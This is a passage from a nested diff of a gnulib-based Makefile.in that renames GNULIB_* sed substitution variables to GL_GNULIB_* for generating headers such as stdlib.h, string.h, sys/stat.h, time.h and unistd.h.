++ -e 's/@''GNULIB_SECURE_GETENV''@/$(GL_GNULIB_SECURE_GETENV)/g' \
++ -e 's/@''GNULIB_SETENV''@/$(GL_GNULIB_SETENV)/g' \
++ -e 's/@''GNULIB_STRTOD''@/$(GL_GNULIB_STRTOD)/g' \
++ -e 's/@''GNULIB_STRTOL''@/$(GL_GNULIB_STRTOL)/g' \
++ -e 's/@''GNULIB_STRTOLD''@/$(GL_GNULIB_STRTOLD)/g' \
++ -e 's/@''GNULIB_STRTOLL''@/$(GL_GNULIB_STRTOLL)/g' \
++ -e 's/@''GNULIB_STRTOUL''@/$(GL_GNULIB_STRTOUL)/g' \
++ -e 's/@''GNULIB_STRTOULL''@/$(GL_GNULIB_STRTOULL)/g' \
++ -e 's/@''GNULIB_SYSTEM_POSIX''@/$(GL_GNULIB_SYSTEM_POSIX)/g' \
++ -e 's/@''GNULIB_UNLOCKPT''@/$(GL_GNULIB_UNLOCKPT)/g' \
++ -e 's/@''GNULIB_UNSETENV''@/$(GL_GNULIB_UNSETENV)/g' \
++ -e 's/@''GNULIB_WCTOMB''@/$(GL_GNULIB_WCTOMB)/g' \
++ -e 's/@''GNULIB_MDA_ECVT''@/$(GL_GNULIB_MDA_ECVT)/g' \
++ -e 's/@''GNULIB_MDA_FCVT''@/$(GL_GNULIB_MDA_FCVT)/g' \
++ -e 's/@''GNULIB_MDA_GCVT''@/$(GL_GNULIB_MDA_GCVT)/g' \
++ -e 's/@''GNULIB_MDA_MKTEMP''@/$(GL_GNULIB_MDA_MKTEMP)/g' \
++ -e 's/@''GNULIB_MDA_PUTENV''@/$(GL_GNULIB_MDA_PUTENV)/g' \
+ < $(srcdir)/stdlib.in.h | \
+ sed -e 's|@''HAVE__EXIT''@|$(HAVE__EXIT)|g' \
+ -e 's|@''HAVE_ALIGNED_ALLOC''@|$(HAVE_ALIGNED_ALLOC)|g' \
+@@ -1314,8 +1423,10 @@ stdlib.h: stdlib.in.h $(top_builddir)/co
+ -e 's|@''HAVE_SETSTATE''@|$(HAVE_SETSTATE)|g' \
+ -e 's|@''HAVE_DECL_SETSTATE''@|$(HAVE_DECL_SETSTATE)|g' \
+ -e 's|@''HAVE_STRTOD''@|$(HAVE_STRTOD)|g' \
++ -e 's|@''HAVE_STRTOL''@|$(HAVE_STRTOL)|g' \
+ -e 's|@''HAVE_STRTOLD''@|$(HAVE_STRTOLD)|g' \
+ -e 's|@''HAVE_STRTOLL''@|$(HAVE_STRTOLL)|g' \
++ -e 's|@''HAVE_STRTOUL''@|$(HAVE_STRTOUL)|g' \
+ -e 's|@''HAVE_STRTOULL''@|$(HAVE_STRTOULL)|g' \
+ -e 's|@''HAVE_STRUCT_RANDOM_DATA''@|$(HAVE_STRUCT_RANDOM_DATA)|g' \
+ -e 's|@''HAVE_SYS_LOADAVG_H''@|$(HAVE_SYS_LOADAVG_H)|g' \
+@@ -1337,11 +1448,16 @@ stdlib.h: stdlib.in.h $(top_builddir)/co
+ -e 's|@''REPLACE_RANDOM''@|$(REPLACE_RANDOM)|g' \
+ -e 's|@''REPLACE_RANDOM_R''@|$(REPLACE_RANDOM_R)|g' \
+ -e 's|@''REPLACE_REALLOC''@|$(REPLACE_REALLOC)|g' \
++ -e 's|@''REPLACE_REALLOCARRAY''@|$(REPLACE_REALLOCARRAY)|g' \
+ -e 's|@''REPLACE_REALPATH''@|$(REPLACE_REALPATH)|g' \
+ -e 's|@''REPLACE_SETENV''@|$(REPLACE_SETENV)|g' \
+ -e 's|@''REPLACE_SETSTATE''@|$(REPLACE_SETSTATE)|g' \
+ -e 's|@''REPLACE_STRTOD''@|$(REPLACE_STRTOD)|g' \
++ -e 's|@''REPLACE_STRTOL''@|$(REPLACE_STRTOL)|g' \
+ -e 's|@''REPLACE_STRTOLD''@|$(REPLACE_STRTOLD)|g' \
++ -e 's|@''REPLACE_STRTOLL''@|$(REPLACE_STRTOLL)|g' \
++ -e 's|@''REPLACE_STRTOUL''@|$(REPLACE_STRTOUL)|g' \
++ -e 's|@''REPLACE_STRTOULL''@|$(REPLACE_STRTOULL)|g' \
+ -e 's|@''REPLACE_UNSETENV''@|$(REPLACE_UNSETENV)|g' \
+ -e 's|@''REPLACE_WCTOMB''@|$(REPLACE_WCTOMB)|g' \
+ -e '/definitions of _GL_FUNCDECL_RPL/r $(CXXDEFS_H)' \
+@@ -1444,49 +1560,49 @@ string.h: string.in.h $(top_builddir)/co
+ -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_STRING_H''@|$(NEXT_STRING_H)|g' \
+- -e 's/@''GNULIB_EXPLICIT_BZERO''@/$(GNULIB_EXPLICIT_BZERO)/g' \
+- -e 's/@''GNULIB_FFSL''@/$(GNULIB_FFSL)/g' \
+- -e 's/@''GNULIB_FFSLL''@/$(GNULIB_FFSLL)/g' \
+- -e 's/@''GNULIB_MBSLEN''@/$(GNULIB_MBSLEN)/g' \
+- -e 's/@''GNULIB_MBSNLEN''@/$(GNULIB_MBSNLEN)/g' \
+- -e 's/@''GNULIB_MBSCHR''@/$(GNULIB_MBSCHR)/g' \
+- -e 's/@''GNULIB_MBSRCHR''@/$(GNULIB_MBSRCHR)/g' \
+- -e 's/@''GNULIB_MBSSTR''@/$(GNULIB_MBSSTR)/g' \
+- -e 's/@''GNULIB_MBSCASECMP''@/$(GNULIB_MBSCASECMP)/g' \
+- -e 's/@''GNULIB_MBSNCASECMP''@/$(GNULIB_MBSNCASECMP)/g' \
+- -e 's/@''GNULIB_MBSPCASECMP''@/$(GNULIB_MBSPCASECMP)/g' \
+- -e 's/@''GNULIB_MBSCASESTR''@/$(GNULIB_MBSCASESTR)/g' \
+- -e 's/@''GNULIB_MBSCSPN''@/$(GNULIB_MBSCSPN)/g' \
+- -e 's/@''GNULIB_MBSPBRK''@/$(GNULIB_MBSPBRK)/g' \
+- -e 's/@''GNULIB_MBSSPN''@/$(GNULIB_MBSSPN)/g' \
+- -e 's/@''GNULIB_MBSSEP''@/$(GNULIB_MBSSEP)/g' \
+- -e 's/@''GNULIB_MBSTOK_R''@/$(GNULIB_MBSTOK_R)/g' \
+- -e 's/@''GNULIB_MEMCHR''@/$(GNULIB_MEMCHR)/g' \
+- -e 's/@''GNULIB_MEMMEM''@/$(GNULIB_MEMMEM)/g' \
+- -e 's/@''GNULIB_MEMPCPY''@/$(GNULIB_MEMPCPY)/g' \
+- -e 's/@''GNULIB_MEMRCHR''@/$(GNULIB_MEMRCHR)/g' \
+- -e 's/@''GNULIB_RAWMEMCHR''@/$(GNULIB_RAWMEMCHR)/g' \
+- -e 's/@''GNULIB_STPCPY''@/$(GNULIB_STPCPY)/g' \
+- -e 's/@''GNULIB_STPNCPY''@/$(GNULIB_STPNCPY)/g' \
+- -e 's/@''GNULIB_STRCHRNUL''@/$(GNULIB_STRCHRNUL)/g' \
+- -e 's/@''GNULIB_STRDUP''@/$(GNULIB_STRDUP)/g' \
+- -e 's/@''GNULIB_STRNCAT''@/$(GNULIB_STRNCAT)/g' \
+- -e 's/@''GNULIB_STRNDUP''@/$(GNULIB_STRNDUP)/g' \
+- -e 's/@''GNULIB_STRNLEN''@/$(GNULIB_STRNLEN)/g' \
+- -e 's/@''GNULIB_STRPBRK''@/$(GNULIB_STRPBRK)/g' \
+- -e 's/@''GNULIB_STRSEP''@/$(GNULIB_STRSEP)/g' \
+- -e 's/@''GNULIB_STRSTR''@/$(GNULIB_STRSTR)/g' \
+- -e 's/@''GNULIB_STRCASESTR''@/$(GNULIB_STRCASESTR)/g' \
+- -e 's/@''GNULIB_STRTOK_R''@/$(GNULIB_STRTOK_R)/g' \
+- -e 's/@''GNULIB_STRERROR''@/$(GNULIB_STRERROR)/g' \
+- -e 's/@''GNULIB_STRERROR_R''@/$(GNULIB_STRERROR_R)/g' \
+- -e 's/@''GNULIB_STRERRORNAME_NP''@/$(GNULIB_STRERRORNAME_NP)/g' \
+- -e 's/@''GNULIB_SIGABBREV_NP''@/$(GNULIB_SIGABBREV_NP)/g' \
+- -e 's/@''GNULIB_SIGDESCR_NP''@/$(GNULIB_SIGDESCR_NP)/g' \
+- -e 's/@''GNULIB_STRSIGNAL''@/$(GNULIB_STRSIGNAL)/g' \
+- -e 's/@''GNULIB_STRVERSCMP''@/$(GNULIB_STRVERSCMP)/g' \
+- -e 's/@''GNULIB_MDA_MEMCCPY''@/$(GNULIB_MDA_MEMCCPY)/g' \
+- -e 's/@''GNULIB_MDA_STRDUP''@/$(GNULIB_MDA_STRDUP)/g' \
++ -e 's/@''GNULIB_EXPLICIT_BZERO''@/$(GL_GNULIB_EXPLICIT_BZERO)/g' \
++ -e 's/@''GNULIB_FFSL''@/$(GL_GNULIB_FFSL)/g' \
++ -e 's/@''GNULIB_FFSLL''@/$(GL_GNULIB_FFSLL)/g' \
++ -e 's/@''GNULIB_MBSLEN''@/$(GL_GNULIB_MBSLEN)/g' \
++ -e 's/@''GNULIB_MBSNLEN''@/$(GL_GNULIB_MBSNLEN)/g' \
++ -e 's/@''GNULIB_MBSCHR''@/$(GL_GNULIB_MBSCHR)/g' \
++ -e 's/@''GNULIB_MBSRCHR''@/$(GL_GNULIB_MBSRCHR)/g' \
++ -e 's/@''GNULIB_MBSSTR''@/$(GL_GNULIB_MBSSTR)/g' \
++ -e 's/@''GNULIB_MBSCASECMP''@/$(GL_GNULIB_MBSCASECMP)/g' \
++ -e 's/@''GNULIB_MBSNCASECMP''@/$(GL_GNULIB_MBSNCASECMP)/g' \
++ -e 's/@''GNULIB_MBSPCASECMP''@/$(GL_GNULIB_MBSPCASECMP)/g' \
++ -e 's/@''GNULIB_MBSCASESTR''@/$(GL_GNULIB_MBSCASESTR)/g' \
++ -e 's/@''GNULIB_MBSCSPN''@/$(GL_GNULIB_MBSCSPN)/g' \
++ -e 's/@''GNULIB_MBSPBRK''@/$(GL_GNULIB_MBSPBRK)/g' \
++ -e 's/@''GNULIB_MBSSPN''@/$(GL_GNULIB_MBSSPN)/g' \
++ -e 's/@''GNULIB_MBSSEP''@/$(GL_GNULIB_MBSSEP)/g' \
++ -e 's/@''GNULIB_MBSTOK_R''@/$(GL_GNULIB_MBSTOK_R)/g' \
++ -e 's/@''GNULIB_MEMCHR''@/$(GL_GNULIB_MEMCHR)/g' \
++ -e 's/@''GNULIB_MEMMEM''@/$(GL_GNULIB_MEMMEM)/g' \
++ -e 's/@''GNULIB_MEMPCPY''@/$(GL_GNULIB_MEMPCPY)/g' \
++ -e 's/@''GNULIB_MEMRCHR''@/$(GL_GNULIB_MEMRCHR)/g' \
++ -e 's/@''GNULIB_RAWMEMCHR''@/$(GL_GNULIB_RAWMEMCHR)/g' \
++ -e 's/@''GNULIB_STPCPY''@/$(GL_GNULIB_STPCPY)/g' \
++ -e 's/@''GNULIB_STPNCPY''@/$(GL_GNULIB_STPNCPY)/g' \
++ -e 's/@''GNULIB_STRCHRNUL''@/$(GL_GNULIB_STRCHRNUL)/g' \
++ -e 's/@''GNULIB_STRDUP''@/$(GL_GNULIB_STRDUP)/g' \
++ -e 's/@''GNULIB_STRNCAT''@/$(GL_GNULIB_STRNCAT)/g' \
++ -e 's/@''GNULIB_STRNDUP''@/$(GL_GNULIB_STRNDUP)/g' \
++ -e 's/@''GNULIB_STRNLEN''@/$(GL_GNULIB_STRNLEN)/g' \
++ -e 's/@''GNULIB_STRPBRK''@/$(GL_GNULIB_STRPBRK)/g' \
++ -e 's/@''GNULIB_STRSEP''@/$(GL_GNULIB_STRSEP)/g' \
++ -e 's/@''GNULIB_STRSTR''@/$(GL_GNULIB_STRSTR)/g' \
++ -e 's/@''GNULIB_STRCASESTR''@/$(GL_GNULIB_STRCASESTR)/g' \
++ -e 's/@''GNULIB_STRTOK_R''@/$(GL_GNULIB_STRTOK_R)/g' \
++ -e 's/@''GNULIB_STRERROR''@/$(GL_GNULIB_STRERROR)/g' \
++ -e 's/@''GNULIB_STRERROR_R''@/$(GL_GNULIB_STRERROR_R)/g' \
++ -e 's/@''GNULIB_STRERRORNAME_NP''@/$(GL_GNULIB_STRERRORNAME_NP)/g' \
++ -e 's/@''GNULIB_SIGABBREV_NP''@/$(GL_GNULIB_SIGABBREV_NP)/g' \
++ -e 's/@''GNULIB_SIGDESCR_NP''@/$(GL_GNULIB_SIGDESCR_NP)/g' \
++ -e 's/@''GNULIB_STRSIGNAL''@/$(GL_GNULIB_STRSIGNAL)/g' \
++ -e 's/@''GNULIB_STRVERSCMP''@/$(GL_GNULIB_STRVERSCMP)/g' \
++ -e 's/@''GNULIB_MDA_MEMCCPY''@/$(GL_GNULIB_MDA_MEMCCPY)/g' \
++ -e 's/@''GNULIB_MDA_STRDUP''@/$(GL_GNULIB_MDA_STRDUP)/g' \
+ < $(srcdir)/string.in.h | \
+ sed -e 's|@''HAVE_EXPLICIT_BZERO''@|$(HAVE_EXPLICIT_BZERO)|g' \
+ -e 's|@''HAVE_FFSL''@|$(HAVE_FFSL)|g' \
+@@ -1556,7 +1672,7 @@ strings.h: strings.in.h $(top_builddir)/
+ -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_STRINGS_H''@|$(NEXT_STRINGS_H)|g' \
+- -e 's/@''GNULIB_FFS''@/$(GNULIB_FFS)/g' \
++ -e 's/@''GNULIB_FFS''@/$(GL_GNULIB_FFS)/g' \
+ -e 's|@''HAVE_FFS''@|$(HAVE_FFS)|g' \
+ -e 's|@''HAVE_STRCASECMP''@|$(HAVE_STRCASECMP)|g' \
+ -e 's|@''HAVE_DECL_STRNCASECMP''@|$(HAVE_DECL_STRNCASECMP)|g' \
+@@ -1638,25 +1754,25 @@ sys/stat.h: sys_stat.in.h $(top_builddir
+ -e 's|@''NEXT_SYS_STAT_H''@|$(NEXT_SYS_STAT_H)|g' \
+ -e 's|@''WINDOWS_64_BIT_ST_SIZE''@|$(WINDOWS_64_BIT_ST_SIZE)|g' \
+ -e 's|@''WINDOWS_STAT_TIMESPEC''@|$(WINDOWS_STAT_TIMESPEC)|g' \
+- -e 's/@''GNULIB_FCHMODAT''@/$(GNULIB_FCHMODAT)/g' \
+- -e 's/@''GNULIB_FSTAT''@/$(GNULIB_FSTAT)/g' \
+- -e 's/@''GNULIB_FSTATAT''@/$(GNULIB_FSTATAT)/g' \
+- -e 's/@''GNULIB_FUTIMENS''@/$(GNULIB_FUTIMENS)/g' \
+- -e 's/@''GNULIB_GETUMASK''@/$(GNULIB_GETUMASK)/g' \
+- -e 's/@''GNULIB_LCHMOD''@/$(GNULIB_LCHMOD)/g' \
+- -e 's/@''GNULIB_LSTAT''@/$(GNULIB_LSTAT)/g' \
+- -e 's/@''GNULIB_MKDIR''@/$(GNULIB_MKDIR)/g' \
+- -e 's/@''GNULIB_MKDIRAT''@/$(GNULIB_MKDIRAT)/g' \
+- -e 's/@''GNULIB_MKFIFO''@/$(GNULIB_MKFIFO)/g' \
+- -e 's/@''GNULIB_MKFIFOAT''@/$(GNULIB_MKFIFOAT)/g' \
+- -e 's/@''GNULIB_MKNOD''@/$(GNULIB_MKNOD)/g' \
+- -e 's/@''GNULIB_MKNODAT''@/$(GNULIB_MKNODAT)/g' \
+- -e 's/@''GNULIB_STAT''@/$(GNULIB_STAT)/g' \
+- -e 's/@''GNULIB_UTIMENSAT''@/$(GNULIB_UTIMENSAT)/g' \
+- -e 's/@''GNULIB_OVERRIDES_STRUCT_STAT''@/$(GNULIB_OVERRIDES_STRUCT_STAT)/g' \
+- -e 's/@''GNULIB_MDA_CHMOD''@/$(GNULIB_MDA_CHMOD)/g' \
+- -e 's/@''GNULIB_MDA_MKDIR''@/$(GNULIB_MDA_MKDIR)/g' \
+- -e 's/@''GNULIB_MDA_UMASK''@/$(GNULIB_MDA_UMASK)/g' \
++ -e 's/@''GNULIB_FCHMODAT''@/$(GL_GNULIB_FCHMODAT)/g' \
++ -e 's/@''GNULIB_FSTAT''@/$(GL_GNULIB_FSTAT)/g' \
++ -e 's/@''GNULIB_FSTATAT''@/$(GL_GNULIB_FSTATAT)/g' \
++ -e 's/@''GNULIB_FUTIMENS''@/$(GL_GNULIB_FUTIMENS)/g' \
++ -e 's/@''GNULIB_GETUMASK''@/$(GL_GNULIB_GETUMASK)/g' \
++ -e 's/@''GNULIB_LCHMOD''@/$(GL_GNULIB_LCHMOD)/g' \
++ -e 's/@''GNULIB_LSTAT''@/$(GL_GNULIB_LSTAT)/g' \
++ -e 's/@''GNULIB_MKDIR''@/$(GL_GNULIB_MKDIR)/g' \
++ -e 's/@''GNULIB_MKDIRAT''@/$(GL_GNULIB_MKDIRAT)/g' \
++ -e 's/@''GNULIB_MKFIFO''@/$(GL_GNULIB_MKFIFO)/g' \
++ -e 's/@''GNULIB_MKFIFOAT''@/$(GL_GNULIB_MKFIFOAT)/g' \
++ -e 's/@''GNULIB_MKNOD''@/$(GL_GNULIB_MKNOD)/g' \
++ -e 's/@''GNULIB_MKNODAT''@/$(GL_GNULIB_MKNODAT)/g' \
++ -e 's/@''GNULIB_STAT''@/$(GL_GNULIB_STAT)/g' \
++ -e 's/@''GNULIB_UTIMENSAT''@/$(GL_GNULIB_UTIMENSAT)/g' \
++ -e 's/@''GNULIB_OVERRIDES_STRUCT_STAT''@/$(GL_GNULIB_OVERRIDES_STRUCT_STAT)/g' \
++ -e 's/@''GNULIB_MDA_CHMOD''@/$(GL_GNULIB_MDA_CHMOD)/g' \
++ -e 's/@''GNULIB_MDA_MKDIR''@/$(GL_GNULIB_MDA_MKDIR)/g' \
++ -e 's/@''GNULIB_MDA_UMASK''@/$(GL_GNULIB_MDA_UMASK)/g' \
+ -e 's|@''HAVE_FCHMODAT''@|$(HAVE_FCHMODAT)|g' \
+ -e 's|@''HAVE_FSTATAT''@|$(HAVE_FSTATAT)|g' \
+ -e 's|@''HAVE_FUTIMENS''@|$(HAVE_FUTIMENS)|g' \
+@@ -1744,18 +1860,18 @@ time.h: time.in.h $(top_builddir)/config
+ -e 's|@''PRAGMA_SYSTEM_HEADER''@|@PRAGMA_SYSTEM_HEADER@|g' \
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_TIME_H''@|$(NEXT_TIME_H)|g' \
+- -e 's/@''GNULIB_CTIME''@/$(GNULIB_CTIME)/g' \
+- -e 's/@''GNULIB_LOCALTIME''@/$(GNULIB_LOCALTIME)/g' \
+- -e 's/@''GNULIB_MKTIME''@/$(GNULIB_MKTIME)/g' \
+- -e 's/@''GNULIB_NANOSLEEP''@/$(GNULIB_NANOSLEEP)/g' \
+- -e 's/@''GNULIB_STRFTIME''@/$(GNULIB_STRFTIME)/g' \
+- -e 's/@''GNULIB_STRPTIME''@/$(GNULIB_STRPTIME)/g' \
+- -e 's/@''GNULIB_TIMEGM''@/$(GNULIB_TIMEGM)/g' \
+- -e 's/@''GNULIB_TIMESPEC_GET''@/$(GNULIB_TIMESPEC_GET)/g' \
+- -e 's/@''GNULIB_TIME_R''@/$(GNULIB_TIME_R)/g' \
+- -e 's/@''GNULIB_TIME_RZ''@/$(GNULIB_TIME_RZ)/g' \
+- -e 's/@''GNULIB_TZSET''@/$(GNULIB_TZSET)/g' \
+- -e 's/@''GNULIB_MDA_TZSET''@/$(GNULIB_MDA_TZSET)/g' \
++ -e 's/@''GNULIB_CTIME''@/$(GL_GNULIB_CTIME)/g' \
++ -e 's/@''GNULIB_LOCALTIME''@/$(GL_GNULIB_LOCALTIME)/g' \
++ -e 's/@''GNULIB_MKTIME''@/$(GL_GNULIB_MKTIME)/g' \
++ -e 's/@''GNULIB_NANOSLEEP''@/$(GL_GNULIB_NANOSLEEP)/g' \
++ -e 's/@''GNULIB_STRFTIME''@/$(GL_GNULIB_STRFTIME)/g' \
++ -e 's/@''GNULIB_STRPTIME''@/$(GL_GNULIB_STRPTIME)/g' \
++ -e 's/@''GNULIB_TIMEGM''@/$(GL_GNULIB_TIMEGM)/g' \
++ -e 's/@''GNULIB_TIMESPEC_GET''@/$(GL_GNULIB_TIMESPEC_GET)/g' \
++ -e 's/@''GNULIB_TIME_R''@/$(GL_GNULIB_TIME_R)/g' \
++ -e 's/@''GNULIB_TIME_RZ''@/$(GL_GNULIB_TIME_RZ)/g' \
++ -e 's/@''GNULIB_TZSET''@/$(GL_GNULIB_TZSET)/g' \
++ -e 's/@''GNULIB_MDA_TZSET''@/$(GL_GNULIB_MDA_TZSET)/g' \
+ -e 's|@''HAVE_DECL_LOCALTIME_R''@|$(HAVE_DECL_LOCALTIME_R)|g' \
+ -e 's|@''HAVE_NANOSLEEP''@|$(HAVE_NANOSLEEP)|g' \
+ -e 's|@''HAVE_STRPTIME''@|$(HAVE_STRPTIME)|g' \
+@@ -1806,89 +1922,89 @@ unistd.h: unistd.in.h $(top_builddir)/co
+ -e 's|@''PRAGMA_COLUMNS''@|@PRAGMA_COLUMNS@|g' \
+ -e 's|@''NEXT_UNISTD_H''@|$(NEXT_UNISTD_H)|g' \
+ -e 's|@''WINDOWS_64_BIT_OFF_T''@|$(WINDOWS_64_BIT_OFF_T)|g' \
+- -e 's/@''GNULIB_ACCESS''@/$(GNULIB_ACCESS)/g' \
+- -e 's/@''GNULIB_CHDIR''@/$(GNULIB_CHDIR)/g' \
+- -e 's/@''GNULIB_CHOWN''@/$(GNULIB_CHOWN)/g' \
+- -e 's/@''GNULIB_CLOSE''@/$(GNULIB_CLOSE)/g' \
+- -e 's/@''GNULIB_COPY_FILE_RANGE''@/$(GNULIB_COPY_FILE_RANGE)/g' \
+- -e 's/@''GNULIB_DUP''@/$(GNULIB_DUP)/g' \
+- -e 's/@''GNULIB_DUP2''@/$(GNULIB_DUP2)/g' \
+- -e 's/@''GNULIB_DUP3''@/$(GNULIB_DUP3)/g' \
+- -e 's/@''GNULIB_ENVIRON''@/$(GNULIB_ENVIRON)/g' \
+- -e 's/@''GNULIB_EUIDACCESS''@/$(GNULIB_EUIDACCESS)/g' \
+- -e 's/@''GNULIB_EXECL''@/$(GNULIB_EXECL)/g' \
+- -e 's/@''GNULIB_EXECLE''@/$(GNULIB_EXECLE)/g' \
+- -e 's/@''GNULIB_EXECLP''@/$(GNULIB_EXECLP)/g' \
+- -e 's/@''GNULIB_EXECV''@/$(GNULIB_EXECV)/g' \
+- -e 's/@''GNULIB_EXECVE''@/$(GNULIB_EXECVE)/g' \
+- -e 's/@''GNULIB_EXECVP''@/$(GNULIB_EXECVP)/g' \
+- -e 's/@''GNULIB_EXECVPE''@/$(GNULIB_EXECVPE)/g' \
+- -e 's/@''GNULIB_FACCESSAT''@/$(GNULIB_FACCESSAT)/g' \
+- -e 's/@''GNULIB_FCHDIR''@/$(GNULIB_FCHDIR)/g' \
+- -e 's/@''GNULIB_FCHOWNAT''@/$(GNULIB_FCHOWNAT)/g' \
+- -e 's/@''GNULIB_FDATASYNC''@/$(GNULIB_FDATASYNC)/g' \
+- -e 's/@''GNULIB_FSYNC''@/$(GNULIB_FSYNC)/g' \
+- -e 's/@''GNULIB_FTRUNCATE''@/$(GNULIB_FTRUNCATE)/g' \
+- -e 's/@''GNULIB_GETCWD''@/$(GNULIB_GETCWD)/g' \
+- -e 's/@''GNULIB_GETDOMAINNAME''@/$(GNULIB_GETDOMAINNAME)/g' \
+- -e 's/@''GNULIB_GETDTABLESIZE''@/$(GNULIB_GETDTABLESIZE)/g' \
+- -e 's/@''GNULIB_GETENTROPY''@/$(GNULIB_GETENTROPY)/g' \
+- -e 's/@''GNULIB_GETGROUPS''@/$(GNULIB_GETGROUPS)/g' \
+- -e 's/@''GNULIB_GETHOSTNAME''@/$(GNULIB_GETHOSTNAME)/g' \
+- -e 's/@''GNULIB_GETLOGIN''@/$(GNULIB_GETLOGIN)/g' \
+- -e 's/@''GNULIB_GETLOGIN_R''@/$(GNULIB_GETLOGIN_R)/g' \
+- -e 's/@''GNULIB_GETOPT_POSIX''@/$(GNULIB_GETOPT_POSIX)/g' \
+- -e 's/@''GNULIB_GETPAGESIZE''@/$(GNULIB_GETPAGESIZE)/g' \
+- -e 's/@''GNULIB_GETPASS''@/$(GNULIB_GETPASS)/g' \
+- -e 's/@''GNULIB_GETUSERSHELL''@/$(GNULIB_GETUSERSHELL)/g' \
+- -e 's/@''GNULIB_GROUP_MEMBER''@/$(GNULIB_GROUP_MEMBER)/g' \
+- -e 's/@''GNULIB_ISATTY''@/$(GNULIB_ISATTY)/g' \
+- -e 's/@''GNULIB_LCHOWN''@/$(GNULIB_LCHOWN)/g' \
+- -e 's/@''GNULIB_LINK''@/$(GNULIB_LINK)/g' \
+- -e 's/@''GNULIB_LINKAT''@/$(GNULIB_LINKAT)/g' \
+- -e 's/@''GNULIB_LSEEK''@/$(GNULIB_LSEEK)/g' \
+- -e 's/@''GNULIB_PIPE''@/$(GNULIB_PIPE)/g' \
+- -e 's/@''GNULIB_PIPE2''@/$(GNULIB_PIPE2)/g' \
+- -e 's/@''GNULIB_PREAD''@/$(GNULIB_PREAD)/g' \
+- -e 's/@''GNULIB_PWRITE''@/$(GNULIB_PWRITE)/g' \
+- -e 's/@''GNULIB_READ''@/$(GNULIB_READ)/g' \
+- -e 's/@''GNULIB_READLINK''@/$(GNULIB_READLINK)/g' \
+- -e 's/@''GNULIB_READLINKAT''@/$(GNULIB_READLINKAT)/g' \
+- -e 's/@''GNULIB_RMDIR''@/$(GNULIB_RMDIR)/g' \
+- -e 's/@''GNULIB_SETHOSTNAME''@/$(GNULIB_SETHOSTNAME)/g' \
+- -e 's/@''GNULIB_SLEEP''@/$(GNULIB_SLEEP)/g' \
+- -e 's/@''GNULIB_SYMLINK''@/$(GNULIB_SYMLINK)/g' \
+- -e 's/@''GNULIB_SYMLINKAT''@/$(GNULIB_SYMLINKAT)/g' \
+- -e 's/@''GNULIB_TRUNCATE''@/$(GNULIB_TRUNCATE)/g' \
+- -e 's/@''GNULIB_TTYNAME_R''@/$(GNULIB_TTYNAME_R)/g' \
+- -e 's/@''GNULIB_UNISTD_H_GETOPT''@/0$(GNULIB_GL_UNISTD_H_GETOPT)/g' \
+- -e 's/@''GNULIB_UNISTD_H_NONBLOCKING''@/$(GNULIB_UNISTD_H_NONBLOCKING)/g' \
+- -e 's/@''GNULIB_UNISTD_H_SIGPIPE''@/$(GNULIB_UNISTD_H_SIGPIPE)/g' \
+- -e 's/@''GNULIB_UNLINK''@/$(GNULIB_UNLINK)/g' \
+- -e 's/@''GNULIB_UNLINKAT''@/$(GNULIB_UNLINKAT)/g' \
+- -e 's/@''GNULIB_USLEEP''@/$(GNULIB_USLEEP)/g' \
+- -e 's/@''GNULIB_WRITE''@/$(GNULIB_WRITE)/g' \
+- -e 's/@''GNULIB_MDA_ACCESS''@/$(GNULIB_MDA_ACCESS)/g' \
+- -e 's/@''GNULIB_MDA_CHDIR''@/$(GNULIB_MDA_CHDIR)/g' \
+- -e 's/@''GNULIB_MDA_CLOSE''@/$(GNULIB_MDA_CLOSE)/g' \
+- -e 's/@''GNULIB_MDA_DUP''@/$(GNULIB_MDA_DUP)/g' \
+- -e 's/@''GNULIB_MDA_DUP2''@/$(GNULIB_MDA_DUP2)/g' \
+- -e 's/@''GNULIB_MDA_EXECL''@/$(GNULIB_MDA_EXECL)/g' \
+- -e 's/@''GNULIB_MDA_EXECLE''@/$(GNULIB_MDA_EXECLE)/g' \
+- -e 's/@''GNULIB_MDA_EXECLP''@/$(GNULIB_MDA_EXECLP)/g' \
+- -e 's/@''GNULIB_MDA_EXECV''@/$(GNULIB_MDA_EXECV)/g' \
+- -e 's/@''GNULIB_MDA_EXECVE''@/$(GNULIB_MDA_EXECVE)/g' \
+- -e 's/@''GNULIB_MDA_EXECVP''@/$(GNULIB_MDA_EXECVP)/g' \
+- -e 's/@''GNULIB_MDA_EXECVPE''@/$(GNULIB_MDA_EXECVPE)/g' \
+- -e 's/@''GNULIB_MDA_GETCWD''@/$(GNULIB_MDA_GETCWD)/g' \
+- -e 's/@''GNULIB_MDA_GETPID''@/$(GNULIB_MDA_GETPID)/g' \
+- -e 's/@''GNULIB_MDA_ISATTY''@/$(GNULIB_MDA_ISATTY)/g' \
+- -e 's/@''GNULIB_MDA_LSEEK''@/$(GNULIB_MDA_LSEEK)/g' \
+- -e 's/@''GNULIB_MDA_READ''@/$(GNULIB_MDA_READ)/g' \
+- -e 's/@''GNULIB_MDA_RMDIR''@/$(GNULIB_MDA_RMDIR)/g' \
+- -e 's/@''GNULIB_MDA_SWAB''@/$(GNULIB_MDA_SWAB)/g' \
+- -e 's/@''GNULIB_MDA_UNLINK''@/$(GNULIB_MDA_UNLINK)/g' \
+- -e 's/@''GNULIB_MDA_WRITE''@/$(GNULIB_MDA_WRITE)/g' \
++ -e 's/@''GNULIB_ACCESS''@/$(GL_GNULIB_ACCESS)/g' \
++ -e 's/@''GNULIB_CHDIR''@/$(GL_GNULIB_CHDIR)/g' \
++ -e 's/@''GNULIB_CHOWN''@/$(GL_GNULIB_CHOWN)/g' \
++ -e 's/@''GNULIB_CLOSE''@/$(GL_GNULIB_CLOSE)/g' \
++ -e 's/@''GNULIB_COPY_FILE_RANGE''@/$(GL_GNULIB_COPY_FILE_RANGE)/g' \
++ -e 's/@''GNULIB_DUP''@/$(GL_GNULIB_DUP)/g' \
++ -e 's/@''GNULIB_DUP2''@/$(GL_GNULIB_DUP2)/g' \
++ -e 's/@''GNULIB_DUP3''@/$(GL_GNULIB_DUP3)/g' \
++ -e 's/@''GNULIB_ENVIRON''@/$(GL_GNULIB_ENVIRON)/g' \
